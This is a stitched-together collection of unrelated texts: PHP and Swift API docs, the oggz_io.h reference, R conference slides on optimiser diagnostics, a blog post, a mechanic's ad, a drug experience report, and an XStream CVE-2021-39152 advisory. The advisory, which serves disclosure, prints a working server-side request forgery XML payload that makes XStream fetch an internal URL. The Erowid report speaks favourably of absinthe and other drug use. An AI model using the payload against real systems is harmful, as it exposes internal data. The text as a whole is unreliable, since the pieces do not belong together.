Namespace: Alcys\
Core\
Db\
Expression
Package: Alcys\Core\Db\Expression
Todo:
Multiple tables with natural join.
Todo:
Join expression could implement also for delete and update statement
Todo:
Implement cross join and logic operators in on condition.
Located at Core/Db/Expression/Join.php
public
|
#
inner( Alcys\Core\Db\References\TableInterface $table, array $optionalTables = array() )
Set the join array value with key way to inner and create a tables array.
Each argument, which has to be of type table interface, will passed to the created tables array.
Set the join array value with key way to inner and create a tables array.
Each argument, which has to be of type table interface, will passed to the created tables array.
Parameters
- $table
- Table in which should joined.
- $optionalTables
- (Optional) Array with table objects.
Returns
$this The same instance to concatenate methods.
Throws
Exception
See
Join::_setWayValue
Implementation of
|
public
|
#
left( Alcys\Core\Db\References\TableInterface $table, array $optionalTables = array() )
Set the join array value with key way to left and create a tables array.
Each argument, which has to be of type table interface, will passed to the created tables array.
Set the join array value with key way to left and create a tables array.
Each argument, which has to be of type table interface, will passed to the created tables array.
Parameters
- $table
- Table in which should joined.
- $optionalTables
- (Optional) Array with table objects.
Returns
$this The same instance to concatenate methods.
Throws
Exception
See
Join::_setWayValue
Implementation of
|
public
|
#
right( Alcys\Core\Db\References\TableInterface $table, array $optionalTables = array() )
Set the join array value with key way to right and create a tables array.
Each argument, which has to be of type table interface, will passed to the created tables array.
Set the join array value with key way to right and create a tables array.
Each argument, which has to be of type table interface, will passed to the created tables array.
Parameters
- $table
- Table in which should joined.
- $optionalTables
- (Optional) Array with table objects.
Returns
$this The same instance to concatenate methods.
Throws
Exception
See
Join::_setWayValue
Implementation of
|
public
|
#
leftOuter( Alcys\Core\Db\References\TableInterface $table, array $optionalTables = array() )
Set the join array value with key way to left:outer and create a tables array.
Each argument, which has to be of type table interface, will passed to the created tables array.
Set the join array value with key way to left:outer and create a tables array.
Each argument, which has to be of type table interface, will passed to the created tables array.
Parameters
- $table
- Table in which should joined.
- $optionalTables
- (Optional) Array with table objects.
Returns
$this The same instance to concatenate methods.
Throws
Exception
See
Join::_setWayValue
Implementation of
|
public
|
#
rightOuter( Alcys\Core\Db\References\TableInterface $table, array $optionalTables = array() )
Set the join array value with key way to right:outer and create a tables array.
Each argument, which has to be of type table interface, will passed to the created tables array.
Set the join array value with key way to right:outer and create a tables array.
Each argument, which has to be of type table interface, will passed to the created tables array.
Parameters
- $table
- Table in which should joined.
- $optionalTables
- (Optional) Array with table objects.
Returns
$this The same instance to concatenate methods.
Throws
Exception
See
Join::_setWayValue
Implementation of
|
public
|
#
natural( Alcys\Core\Db\References\TableInterface $table, string|null $way = null )
Use a natural join.
Set the key 'way' of the join array to the validated $way argument, the key 'tables' to
array($table) and the key 'conditionType' to natural.
The natural join is like a using condition which automatic selection of all equivalent columns.
Parameters
- $table
- Table in which should joined.
- $way
- The way how to join.
Returns
$this The same instance to concatenate methods.
Throws
Exception
See
Join::_validateNaturalWayArgument
Implementation of
|
public
|
#
on( Alcys\Core\Db\References\ColumnInterface $firstColumn, Alcys\Core\Db\References\ColumnInterface $secondColumn )
Set the join array value with key conditionType to on and with key condition to an validated condition.
An exception will thrown, when the passed column arguments does not have the same column name, does
not have table references or no of the way methods(left(), right(), inner(), ...) was called before.
Set the join array value with key conditionType to on and with key condition to an validated condition.
An exception will thrown, when the passed column arguments does not have the same column name, does
not have table references or no of the way methods(left(), right(), inner(), ...) was called before.
Parameters
- $firstColumn
- First column to compare.
- $secondColumn
- Second column to compare.
Returns
$this The same instance to concatenate methods.
Throws
Exception
See
Join::_validateOnArguments
Implementation of
|
public
|
#
using( Alcys\Core\Db\References\ColumnInterface $column )
Set the join array value with key conditionType to using and with key condition to an validated condition.
Set the join array value with key conditionType to using and with key condition to an validated condition.
Parameters
- $column
- The expected column value object.
Returns
$this
Implementation of
|
public
array
|
|
public
array
|
#
getExpressionArray( )
Equivalent to Join::getJoinArray method.
Is required for the ReBuildableExpressionInterface.
Equivalent to Join::getJoinArray method.
Is required for the ReBuildableExpressionInterface.
Returns
array
Implementation of
|


I am a fully qualified diesel mechanic with 25 years of experience working with 4WD's, Forklifts, Farm Machinery through to Heavy Earthmoving Machinery. I have also worked as an auto electrician having owned my own workshop in New Zealand prior to moving to Australia. I have a fully equipped truck; complete with crane, welding equipment and generator. I will work remotely, camping locally if required and am able to take on most tasks away from mains power.


class: hide-slide-number split-70 title-slide count: false .column.content[
 # Visual Diagnostics for Constrained Optimisation with Application to Guided Tours
 .bottom_abs.width100[   .monash-black[**H. Sherry Zhang**] .institute-size[.monash-gray80[**Monash**]] Dianne Cook .institute-size[.monash-gray80[Monash]] Ursula Laa .institute-size[.monash-gray80[BOKU]] Nicolas Langrené .institute-size[.monash-gray80[CSIRO Data61]] Patricia Menéndez .institute-size[.monash-gray80[Monash]] 6th Jul 2021 ] ]

 <svg class="clip-svg absolute"> <defs> <clipPath id="swipe__clip-path" clipPathUnits="objectBoundingBox"> <polygon points="0.5745 0, 0.5 0.33, 0.42 0, 0 0, 0 1, 0.27 1, 0.27 0.59, 0.37 1, 0.634 1, 0.736 0.59, 0.736 1, 1 1, 1 0, 0.5745 0" /> </clipPath> </defs> </svg>

 ??? - Hi everyone, - my name is Sherry Zhang, a PhD student from Monash University in Australia - Today I will be talking about ... - This is a work supervised by --- # Motivation > The work also reveals inadequacies in the tour optimization algorithm, that may benefit from newly developed techniques and software tools. (Laa & Cook, 2020) .left-col[ - For simulated data, the optimisers - often failed at finding the expected maxima, or - would only get close but not reach the maxima - For noisy index functions it failed completely ] .right-col[  ] ??? - project, motivated by ursula and Di's work, that apply guided tour to physics problems. - this is what they write in the paper - they find that ... - on the right is an example where - the optimiser could have finished at a better position but it doesn't --- # How to solve this problem? To understand where the optimisers were failing, ideally we need to visualise the **space** and the **paths** that the optimisers take through the space. -- - the space is the set of all d-dimensional projections of p-dimensional space. ??? intro: - This is an interesting visualisation problem because --- # What is projection pursuit? .pull-left[ Data: `\(\mathbf{X}_{n \times p}\)` Basis: `\(\mathbf{A}_{p\times d}\)` Projection: `\(\mathbf{Y} = \mathbf{X} \cdot \mathbf{A}\)` Index function: `\(f: \mathbb{R}^{n \times d} \mapsto \mathbb{R}\)`
 **holes index:** `\(\propto 1 -\frac{1}{n} \sum_{i = 1}^n \exp(-\frac{1}{2} y_i y_i^{\prime})\)`
 density `\(\uparrow\)`, index value `\(\uparrow\)`
 **optimisation: ** `$$\arg \max_{\mathbf{A} \in \mathcal{A}} f(\mathbf{X} \cdot \mathbf{A}) ~~~ s.t. ~~~ \mathbf{A}^{\prime} \mathbf{A} = I_d$$` ] .pull-right[  ] ??? Now I will introduce some background information on - what is a guided tour - what is the optimisation problem and - what are the optimisers that we have To understand guided tour, we first need to talk about projection pursuit - we denote the data as a matrix of dimension .... - Projection basis A, of dimension ..., characterises the direction from which the data get projected; - projection - Index function: maps the projection from an ... dimension space to a scalar - Throughout this presentation until the case study in the end, we will be using an index function called holes index - will not show the full formula here, but it is proportional to 1 - something that looks like a standardised normal density - on the right I have calculated the index value of the holes index for different 1D projections and we can observe that - for those projections that have high density regions, for examples, ..., it has an higher index value - The optimisation we have is to: max the index function, subject to orthonormality constraint --- # Three random search optimisers - Creeping random search (CRS): - randomly samples a basis and evaluates its index value - accepted if it has a higher index value, discarded if lower - Simulated annealing (SA): - a second chance to be accepted with probability `$$P= \min\left\{\exp\left[-\frac{\mid I_{\text{cur}} - I_{l} \mid}{T(l)}\right],1\right\}$$` where `\(I_{(\cdot)}\)` is the index value, `\(T(l) = \frac{T_0}{\log(l + 1)}\)`, `\(l\)` is the # of eval (in the current iter). - As `\(l\)` increases, `\(T(l)\)` decreases, and the probability for accepting an inferior basis decreases ??? To solve this optimisation problem, we have three optimisers. All of which are random search algorithms creeping random search: - that satisfies the orthonormality constraint - the basis, accept simulated annealing: - follows the same as CRS in sampling and accepting better bases, but - it has a different design for bases that have lower index value. These bases have - that is to say, it is less likely to accept a worse basis after more bases have been evaluated --- # Three random search optimisers (Cont.) - Pseudo derivative (PD): - randomly sample 5 directions close to the current and pick the most promising direction - search along a straight line (on the sphere) for the best candidate - same acceptance rule as CRS ??? Pseudo derivative: - flavour, gradient a'scent, as it first find a promising direction and then compute a step size - we don't use derivative here, hard to operate on a matrix. Instead, - PD then uses the same acceptance rule as CRS --- # Projection pursuit with guided tour  * projection pursuit maximises the index function to iteratively find better basis/ projection (**blue frames**) * guided tour chains these projections together through interpolation (**white frames**) and produces an smooth animation (**see next slide

**) ??? This illustration shows how projection pursuit and guided tour works together Those are shown in the blue frames --- # An example .pull-left[ ![](./img/tour-demo.gif) ] .pull-right[ 1D projection: histogram
 5 simulated variables - `\(x_2\)` is mixture normal `\(0.5 \mathcal{N}(-3, 1) + 0.5 \mathcal{N}(3, 1)\)` - others are random normal
 We expect: - `\(x_2\)` has weight close to 1 - others are close to 0 ] ??? Here is how the animation looks like: - We use histogram to display 1D projection - The data include 5 variables, X2 is a mixture normal and others are random normal - We expect: X2 to have a weight close to 1 and others close to 0

 - In this simple example, the optimiser works well to find the optimum - but this is not the case for all the problems, as we see in the literature - so we need some visual tools to help us diagnose where things go wrong - A side note here: this will also be the data that we used in later examples and we are always aiming to find `\(x_2\)` in this dataset --- # Ferrn package .left-col[ **Four functions to explore the trace and space of the optimisers: ** - `explore_trace_search()` - `explore_trace_interp()` - `explore_space_pca()` - `explore_space_tour()` **Botanical theme:** - `scale_color_continuous_botanical()` - `scale_color_discrete_botanical()` ] .right-col[ **To produce plots: ** ```r <data> %>% <explore_*>() %>% <scale_*>() ``` ]

 .institute-size[ `*` The syntax to adjust color in `explore_space_tour()` is slightly different ] ??? - This work leads to an R package, ferrn, where we create 4 diagnostic plots. Two for exploring the trace and two for space - There is also a botanical theme for scale the color - To produce a plot, you need to pipe the data collected from the optimisation into one of the explore functions and make color adjustment using the botanical palette - Due to the time limit of this talk, I will go through the two space plots here and later you will have the chance to see the trace plot --- # `explore_space_pca()` .pull-left[  ] ??? This is the first space plot First I'm going to tell you how this plot is made and then what we can learn from it - We have all the bases evaluated in the optimisation - these are the coloured dots - we also have random bases sampled from the 5D space, these are used to draw the space - we then perform PCA on these two sets of bases and take the first two PCs to create this plot In this plot - The star is the theoretical best basis, corresponds to 1 in `\(x_2\)` and 0 in others - we have two paths, CRS in brown and PD in green - CRS evaluates random points in the space so you can see dots everywhere - PD evaluates 5 directions locally, so you can see dots scattered around an accepted basis - The paths here are the interpolation between bases accepted by projection pursuit This plot tells us that ... and it helps us to ... we can also make an animated version of this plot - here we can see clearer where each optimiser starts - an additional info, learn -- .pull-right[ - Both optimisers find the optimum but PD gets closer - Visually understand how the optimisers work ] -- .pull-right[  ] -- .pull-right[ CRS finds the optimum faster! ] --- # `explore_space_tour()` The same two paths but on the 5D full space. .pull-left[ ![](./img/tour.gif) ] ??? What I'm showing you now is the same two paths but on the full space. Let's watch this animation together: - The full space is a 5D unit sphere since the orthonormality constraint requires the square of all the entries adds up to one - Here is a frame in the animation that is most similar to the previous PCA view What we learn here is that - PCA, maximises variance, most spread, full space plot allows you to see the same path from different angles. -- .pull-right[  ] --- # 2D basis space The basis space is no longer a sphere, but a torus! .pull-left[  ] .pull-right[  Basis `\(\mathbf{A}_{p\times d}\)` where `\(d = 2\)` ] ??? - similarly we can generate random 2D bases and animate it with 2D path embeded - Here I have generated the 2D basis space and captured some frames from the animation - This time, --- # Case study: optimising a noisy index .pull-left[ ### Which optimiser(s) work and which didn't? New index: `$$I(n) = \max \left[F_{Y}(n) - F_{\mathcal{N}}(n)\right]$$`  where `\(F_{.}(n)\)` is the ECDF function   ] ??? Now I'm presenting a case study on how visual diagnostics informs us about optmising a noisy index. - The noisy index we use is based on the kolmogorove test, defined here. - The plot on the left shows how the index value changes when interpolating between two random bases - What I do is to generate two random bases in the 5D space and ask guided tour to interpolate 100 frames in between. The index value of all the frames are calculated and arranged by its natural order to make this plot. - what we see here is that, comparing to the holes index, the new index 1) has a different range, and 2) also it is non-smooth - These add challenges to the optimisation - On the right are the trace and space plot of the three optimisers I introduced earlier on the 5 variable dataset - In the trace plot, the x-axis shows the natural order of time, y axis is the index value. The dashed horizontal line on the top is the index value of the theoretical best basis. - we see here that the first optimiser, PD, fails to optimise the noisy index while CRS and SA are getting close to this theoretical best - From the space plot, we can also see the success of CRS and SA but they are taking different approaches to find the final basis. - CRS extensively evaluates points in the space before accepting a new basis to interpolate - thus we see lots of dots in the space but the interpolation path is short, while - SA widely accepts new basis and performs interpolation and only starts to reject towards the end - thus we see a long interpolation path but few points being evaluated -- .pull-right[  ] --- # Summary - We have developed specialised visualisation tools to diagnose optimisation in projection pursuit guided tour - This allows us to understand algorithms that are not obvious to the end users
 **For tourr developers:** - Provides tools to test new optimisers and optimisation of new indexes **For algorithm developers:** - Can be seen as a work to enhance the interpretability of black-box optimsimation algorithms --- class: hide-slide-number split-70 count: false .column.content[

 Questions?
 Package:

[huizezhang-sherry/ferrn](https://github.com/huizezhang-sherry/ferrn) Slides:

[sherryzhang-user2021.netlify.app](https://sherryzhang-user2021.netlify.app) .bottom_abs.width100[ ## H. Sherry Zhang

[huizezhangsh](https://twitter.com/huizezhangsh)  https://huizezhangsh.netlify.com/ Supervised by Dianne Cook, Ursula Laa, Nicolas Langrené, and Patricia Menéndez ]]

 <svg class="clip-svg absolute"> <defs> <clipPath id="swipe__clip-path" clipPathUnits="objectBoundingBox"> <polygon points="0.5745 0, 0.5 0.33, 0.42 0, 0 0, 0 1, 0.27 1, 0.27 0.59, 0.37 1, 0.634 1, 0.736 0.59, 0.736 1, 1 1, 1 0, 0.5745 0" /> </clipPath> </defs> </svg>


---
layout: post
title: Role of Science and Technology to Empower Youth
date: 2014-02-06 03:50:00.000000000 +05:30
categories: []
tags:
- country
- Discussion
- National Concern
- science and technology
- youth
- youth empowerment
status: publish
type: post
published: true
meta:
blogger_bid: '2279754227642197645'
blogger_blog: ankurthetechie.blogspot.com
blogger_id: '5908505106543954056'
blogger_author: g116451164261752827176
blogger_comments: '4'
blogger_permalink: /2014/02/role-of-science-and-technology-to.html
author:
login: admin@reportlingo
email<EMAIL_ADDRESS>display_name: admin@reportlingo
first_name: Ankur
last_name: Gupta
excerpt: !ruby/object:Hpricot::Doc
options: {}
---
Science and technology have always been leading aspect of
life. It serves as the solution to the skepticism of mind. Nowadays in all the
known fields’ technology and science is embedded in form of advanced equipment
and modern methodologies. In present scenario even we couldn't imagine our jobs
without technology, as all the data
which were earlier kept as record in racks of registers are now been transformed
in databases , even balance sheets and accounts are maintained in Microsoft
Excel. So the point here I want to make is that if we can’t imagine things
without science and technology how can youth be kept away from this, being one
generation ahead of us.
Youth are the future of the nation and for their
empowerment, technological sync is must. They should be educated with the science
and technology as a part of their elementary education so that by the time they
grow up they have a fair understanding of technologies. It is very important
that develop an inquisitive mind so that they can question the happenings and
act aptly, this kind of thinking is empowered by combined role of science and technology.
Science and
Technology plays pivotal role in shaping up their life and career and this in
turn will benefit our nation. As in near future youth will take over the reins
of the country, by that time they should have knowledge of science and technology
stocked in their arsenal so that they are ready for any kind of challenge and
they could work for the advancements of the country.
So to conclude I
would like to say that, science and technology are the sheer roots of youth,
indirectly are the roots of nations’ development and advancement.


CVE-2021-39152: A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host.
All versions until and including version 1.4.17 are affected, if using the version out of the box with Java runtime version 14 to 8. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.
The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in a server-side forgery request.
Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:
<map> <entry> <jdk.nashorn.internal.runtime.Source_-URLData> <url>http://localhost:8080/internal/</url> <cs>GBK</cs> <hash>1111</hash> <array>b</array> <length>0</length> <lastModified>0</lastModified> </jdk.nashorn.internal.runtime.Source_-URLData> <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/> </entry> <entry> <jdk.nashorn.internal.runtime.Source_-URLData> <url>http://localhost:8080/internal/</url> <cs reference='../../../entry/jdk.nashorn.internal.runtime.Source_-URLData/cs'/> <hash>1111</hash> <array>b</array> <length>0</length> <lastModified>0</lastModified> </jdk.nashorn.internal.runtime.Source_-URLData> <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/> </entry> </map>
XStream xstream = new XStream(); xstream.fromXML(xml);
As soon as the XML gets unmarshalled, the payload gets executed and the data from the URL location is collected.
Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.
The vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream.
See workarounds for the different versions covering all CVEs.
m0d9 of the Security Team of Alibaba Cloud found and reported the issue to XStream and provided the required information to reproduce it.


I have had the wish to try Absinth for quite some time, but I had always thought, that it is still forbidden. As is read only a few days ago this ist not the case in Germany since 1998, although the Thujone contents is limited now to a much smaller amount than in the good old times before it has been prohibited.
As a preparation I read some experience reports and I got even more curious than I was before. I went to my favourite shop and bought a small bottle (100 ml) of an French Absinth, labelled 'Absente'. It had 55,5 % of alcohol but it was not stated on the bottle how much Thujone it contained. I thought it better to try it in a small dose before I spend much money for a big bottle without even knowing the effects, or if there would be any.
As I have read before, the preparations and the anticipation are part of the experience. I mixed the 'Absente' with water 1:1 and also burned two small sugar lumps over the glass. I took 50 ml at first to see what would happen. I had not expected to feel such strong effects which set on almost instantaneously after taking the first few sips! I felt kind of light-headed and I realized that my brow seemed to tickle beneath my skin. This effect can be compared to the one I had in the early times of Cannabis using. Despite of this, the experience is not to be compared to marijuana. It is more a kind of mixture between alcohol and weed. I had also a warm feeling in my stomach, similar to the one after taking shrooms.
I turned down the lights and played ome of my favourite CDs. While I sat there and tried to determine what was happening, I began to compose my experience report and although I am no native english speaker, the words came easily to my mind. I had the urge to ring my best friend and talk to her. I went to the balcony for a cigarette while drinking the second glass of 50 ml and as some people walked by I had to restrain myself from just talking to them. I noticed also that my thumb, which I had burnt seriously during the preparations, ceased to hurt. It has to be said that I had some slight coordination problems while walking.
I can not say that the music sounded significantly different, bit it definitely added to the atmosphere. The peak was about 30-40 minutes (I forgot to look on my watch) and the whole experience lasted approximately one and a half hour.
What can I say? It was definitely worth a try and I am already looking forward to the next time which will defnitely come! The effects were surprisingly strong, I had expected a much more mellow trip, as it usually takes bigger doses for me to feel anything with weed and psylocibes.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


ImageLoader
public class ImageLoader: NSObject
A class used to load images asynchronously
-
Initializes an imageLoader according the selected implementation
Declaration
Swift
public override init()
-
Load an image with the configured adapter
Declaration
Swift
public func loadImage(url: URL, imageView: UIImageView)
Parameters
url
the URL of the image to be loaded
imageView
the imageView that should contain the image loaded
-
load an image using a placeholder in the meantime
Declaration
Swift
public func loadImage(url: URL, placeholder: UIImage, imageView: UIImageView)
Parameters
url
the URL of the image to be loaded
placeholder
the UIImage that should be used as a placeholder
imageView
the imageView that should contain the image loaded


A paragraph of regular body text with bold, italic, and underline. Also, the code
tag is available in typography.
const handleChange = ({ target }) => {
const { name, value } = target;
const newData = Object.assign({}, data, { [name]: value });
setData(newData);
}


PassPipeliner
public final class PassPipeliner
Implements a pass manager, pipeliner, and executor for a set of user-provided optimization passes.
A PassPipeliner
handles the creation of a related set of optimization
passes called a “pipeline”. Grouping passes is done for multiple reasons,
chief among them is that optimizer passes are extremely sensitive to their
ordering relative to other passes. In addition, pass groupings allow for
the clean segregation of otherwise unrelated passes. For example, a
pipeline might consist of “mandatory” passes such as Jump Threading, LICM,
and DCE in one pipeline and “diagnostic” passes in another.
-
The module for this pass pipeline.
Declaration
Swift
public let module: Module
-
The pipeline stages registered with this pass pipeliner.
Declaration
Swift
public private(set) var stages: [String] { get }
-
Declaration
Swift
public final class Builder
-
Initializes a new, empty pipeliner.
Declaration
Swift
public init(module: Module)
Parameters
module
The module the pipeliner will run over.
-
Appends a stage to the pipeliner.
The staging function provides a
Builder
object into which the types of passes for a given pipeline are inserted.Declaration
Swift
public func addStage(_ name: String, _ stager: (Builder) -> Void)
Parameters
name
The name of the pipeline stage.
stager
A builder function.
-
Executes the entirety of the pass pipeline.
Execution of passes is done in a loop that is divided into two phases. The first phase aggregates all local passes and stops aggregation when it encounters a module-level pass. This group of local passes is then run one at a time on the same scope. The second phase is entered and the module pass is run. The first phase is then re-entered until all local passes have run on all local scopes and all intervening module passes have been run.
The same pipeline may be repeatedly re-executed, but pipeline execution is not re-entrancy safe.
Declaration
Swift
public func execute(mask pipelineMask: Set<String> = [])
Parameters
pipelineMask
Describes the subset of pipelines that should be executed. If the mask is empty, all pipelines will be executed.
-
Adds a pipeline stage populated with function passes that LLVM considers standard for languages like C and C++. Additional parameters are available to tune the overall behavior of the optimization pipeline at a macro level.
Declaration
Swift
public func addStandardFunctionPipeline( _ name: String, optimization: CodeGenOptLevel = .`default`, size: CodeGenOptLevel = .none )
Parameters
name
The name of the pipeline stage.
optimization
The level of optimization.
size
The level of size optimization.
-
Adds a pipeline stage populated with module passes that LLVM considers standard for languages like C and C++. Additional parameters are available to tune the overall behavior of the optimization pipeline at a macro level.
Declaration
Swift
public func addStandardModulePipeline( _ name: String, optimization: CodeGenOptLevel = .`default`, size: CodeGenOptLevel = .none )
Parameters
name
The name of the pipeline stage.
optimization
The level of optimization.
size
The level of size optimization.


The Influence relationship is used to describe that some motivational element may influence (the realization of) another motivational element.
An influence by some other motivational element may affect this degree positively or negatively
Attributes can be used to indicate the sign and/or strength of the influence. The choice of possible attribute values is left to the modeler; e.g., {++, +, 0, -, --} or [0..10]. By default, the Influence relationship models a contribution with unspecified sign and strength.
Dependency.
The degree in which the goal to increase customer satisfaction is realized may be represented by the percentage of satisfied customers that participate in a market interview.


oggz_io.h File Reference
Overriding the functions used for input and output of raw data.
More...
Go to the source code of this file.
Typedefs |
| typedef size_t(* | OggzIORead )(void *user_handle, void *buf, size_t n) |
| | This is the signature of a function which you provide for Oggz to call when it needs to acquire raw input data.
|
| typedef size_t(* | OggzIOWrite )(void *user_handle, void *buf, size_t n) |
| | This is the signature of a function which you provide for Oggz to call when it needs to output raw data.
|
| typedef int(* | OggzIOSeek )(void *user_handle, long offset, int whence) |
| | This is the signature of a function which you provide for Oggz to call when it needs to seek on the raw input or output data.
|
| typedef long(* | OggzIOTell )(void *user_handle) |
| | This is the signature of a function which you provide for Oggz to call when it needs to determine the current offset of the raw input or output data.
|
| typedef int(* | OggzIOFlush )(void *user_handle) |
| | This is the signature of a function which you provide for Oggz to call when it needs to flush the output data.
|
Functions |
| int | oggz_io_set_read (OGGZ *oggz, OggzIORead read, void *user_handle) |
| | Set a function for Oggz to call when it needs to read input data.
|
| void * | oggz_io_get_read_user_handle (OGGZ *oggz) |
| | Retrieve the user_handle associated with the function you have provided for reading input data.
|
| int | oggz_io_set_write (OGGZ *oggz, OggzIOWrite write, void *user_handle) |
| | Set a function for Oggz to call when it needs to write output data.
|
| void * | oggz_io_get_write_user_handle (OGGZ *oggz) |
| | Retrieve the user_handle associated with the function you have provided for writing output data.
|
| int | oggz_io_set_seek (OGGZ *oggz, OggzIOSeek seek, void *user_handle) |
| | Set a function for Oggz to call when it needs to seek on its raw data.
|
| void * | oggz_io_get_seek_user_handle (OGGZ *oggz) |
| | Retrieve the user_handle associated with the function you have provided for seeking on input or output data.
|
| int | oggz_io_set_tell (OGGZ *oggz, OggzIOTell tell, void *user_handle) |
| | Set a function for Oggz to call when it needs to determine the offset within its input data (if OGGZ_READ) or output data (if OGGZ_WRITE).
|
| void * | oggz_io_get_tell_user_handle (OGGZ *oggz) |
| | Retrieve the user_handle associated with the function you have provided for determining the current offset in input or output data.
|
| int | oggz_io_set_flush (OGGZ *oggz, OggzIOFlush flush, void *user_handle) |
| | Set a function for Oggz to call when it needs to flush its output.
|
| void * | oggz_io_get_flush_user_handle (OGGZ *oggz) |
| | Retrieve the user_handle associated with the function you have provided for flushing output.
|
Detailed Description
Overriding the functions used for input and output of raw data.
OggzIO provides a way of overriding the functions Oggz uses to access its raw input or output data. This is required in many situations where the raw stream cannot be accessed via stdio, but can be accessed by other means. This is typically useful within media frameworks, where accessing and moving around in the data is possible only using methods provided by the framework.
The functions you provide for overriding IO will be used by Oggz whenever you call oggz_read() or oggz_write(). They will also be used repeatedly by Oggz when you call oggz_seek().
- Note:
- Opening a file with oggz_open() or oggz_open_stdio() is equivalent to calling oggz_new() and setting stdio based functions for data IO.
Typedef Documentation
This is the signature of a function which you provide for Oggz to call when it needs to flush the output data.
The behaviour of this function is similar to that of fflush() in stdio.
- Parameters:
-
| user_handle | A generic pointer you have provided earlier |
- Return values:
-
| 0 | Success |
| < 0 | An error condition |
| typedef size_t(* OggzIORead)(void *user_handle, void *buf, size_t n) |
This is the signature of a function which you provide for Oggz to call when it needs to acquire raw input data.
- Parameters:
-
| user_handle | A generic pointer you have provided earlier |
| n | The length in bytes that Oggz wants to read |
| buf | The buffer that you read data into |
- Return values:
-
| > 0 | The number of bytes successfully read into the buffer |
| 0 | to indicate that there is no more data to read (End of file) |
| < 0 | An error condition |
| typedef int(* OggzIOSeek)(void *user_handle, long offset, int whence) |
This is the signature of a function which you provide for Oggz to call when it needs to seek on the raw input or output data.
- Parameters:
-
| user_handle | A generic pointer you have provided earlier |
| offset | The offset in bytes to seek to |
| whence | SEEK_SET, SEEK_CUR or SEEK_END (as for stdio.h) |
- Return values:
-
| >= 0 | The offset seeked to |
| < 0 | An error condition |
- Note:
- If you provide an OggzIOSeek function, you MUST also provide an OggzIOTell function, or else all your seeks will fail.
This is the signature of a function which you provide for Oggz to call when it needs to determine the current offset of the raw input or output data.
- Parameters:
-
| user_handle | A generic pointer you have provided earlier |
- Return values:
-
| >= 0 | The offset |
| < 0 | An error condition |
| typedef size_t(* OggzIOWrite)(void *user_handle, void *buf, size_t n) |
This is the signature of a function which you provide for Oggz to call when it needs to output raw data.
- Parameters:
-
| user_handle | A generic pointer you have provided earlier |
| n | The length in bytes of the data |
| buf | A buffer containing data to write |
- Return values:
-
| >= 0 | The number of bytes successfully written (may be less than n if a write error has occurred) |
| < 0 | An error condition |
Function Documentation
| void* oggz_io_get_flush_user_handle |
( |
OGGZ * |
oggz |
) |
|
Retrieve the user_handle associated with the function you have provided for flushing output.
- Parameters:
-
- Returns:
- the associated user_handle
| void* oggz_io_get_read_user_handle |
( |
OGGZ * |
oggz |
) |
|
Retrieve the user_handle associated with the function you have provided for reading input data.
- Parameters:
-
- Returns:
- the associated user_handle
| void* oggz_io_get_seek_user_handle |
( |
OGGZ * |
oggz |
) |
|
Retrieve the user_handle associated with the function you have provided for seeking on input or output data.
- Parameters:
-
- Returns:
- the associated user_handle
| void* oggz_io_get_tell_user_handle |
( |
OGGZ * |
oggz |
) |
|
Retrieve the user_handle associated with the function you have provided for determining the current offset in input or output data.
- Parameters:
-
- Returns:
- the associated user_handle
| void* oggz_io_get_write_user_handle |
( |
OGGZ * |
oggz |
) |
|
Retrieve the user_handle associated with the function you have provided for writing output data.
- Parameters:
-
- Returns:
- the associated user_handle
| int oggz_io_set_flush |
( |
OGGZ * |
oggz, |
|
|
OggzIOFlush |
flush, |
|
|
void * |
user_handle | |
|
) |
| | |
Set a function for Oggz to call when it needs to flush its output.
The meaning of this is similar to that of fflush() in stdio.
- Parameters:
-
| oggz | An OGGZ handle |
| flush | Your flushing function |
| user_handle | Any arbitrary data you wish to pass to the function |
- Return values:
-
| 0 | Success |
| OGGZ_ERR_BAD_OGGZ | oggz does not refer to an existing OGGZ |
| OGGZ_ERR_INVALID | Operation not suitable for this OGGZ; oggz not open for writing. |
| OGGZ_ERR_OUT_OF_MEMORY | Out of memory |
| int oggz_io_set_read |
( |
OGGZ * |
oggz, |
|
|
OggzIORead |
read, |
|
|
void * |
user_handle | |
|
) |
| | |
Set a function for Oggz to call when it needs to read input data.
- Parameters:
-
| oggz | An OGGZ handle |
| read | Your reading function |
| user_handle | Any arbitrary data you wish to pass to the function |
- Return values:
-
| 0 | Success |
| OGGZ_ERR_BAD_OGGZ | oggz does not refer to an existing OGGZ |
| OGGZ_ERR_INVALID | Operation not suitable for this OGGZ; oggz not open for reading. |
| OGGZ_ERR_OUT_OF_MEMORY | Out of memory |
| int oggz_io_set_seek |
( |
OGGZ * |
oggz, |
|
|
OggzIOSeek |
seek, |
|
|
void * |
user_handle | |
|
) |
| | |
Set a function for Oggz to call when it needs to seek on its raw data.
- Parameters:
-
| oggz | An OGGZ handle |
| seek | Your seeking function |
| user_handle | Any arbitrary data you wish to pass to the function |
- Return values:
-
| 0 | Success |
| OGGZ_ERR_BAD_OGGZ | oggz does not refer to an existing OGGZ |
| OGGZ_ERR_INVALID | Operation not suitable for this OGGZ |
| OGGZ_ERR_OUT_OF_MEMORY | Out of memory |
- Note:
- If you provide an OggzIOSeek function, you MUST also provide an OggzIOTell function, or else all your seeks will fail.
| int oggz_io_set_tell |
( |
OGGZ * |
oggz, |
|
|
OggzIOTell |
tell, |
|
|
void * |
user_handle | |
|
) |
| | |
Set a function for Oggz to call when it needs to determine the offset within its input data (if OGGZ_READ) or output data (if OGGZ_WRITE).
- Parameters:
-
| oggz | An OGGZ handle |
| tell | Your tell function |
| user_handle | Any arbitrary data you wish to pass to the function |
- Return values:
-
| 0 | Success |
| OGGZ_ERR_BAD_OGGZ | oggz does not refer to an existing OGGZ |
| OGGZ_ERR_INVALID | Operation not suitable for this OGGZ |
| OGGZ_ERR_OUT_OF_MEMORY | Out of memory |
| int oggz_io_set_write |
( |
OGGZ * |
oggz, |
|
|
OggzIOWrite |
write, |
|
|
void * |
user_handle | |
|
) |
| | |
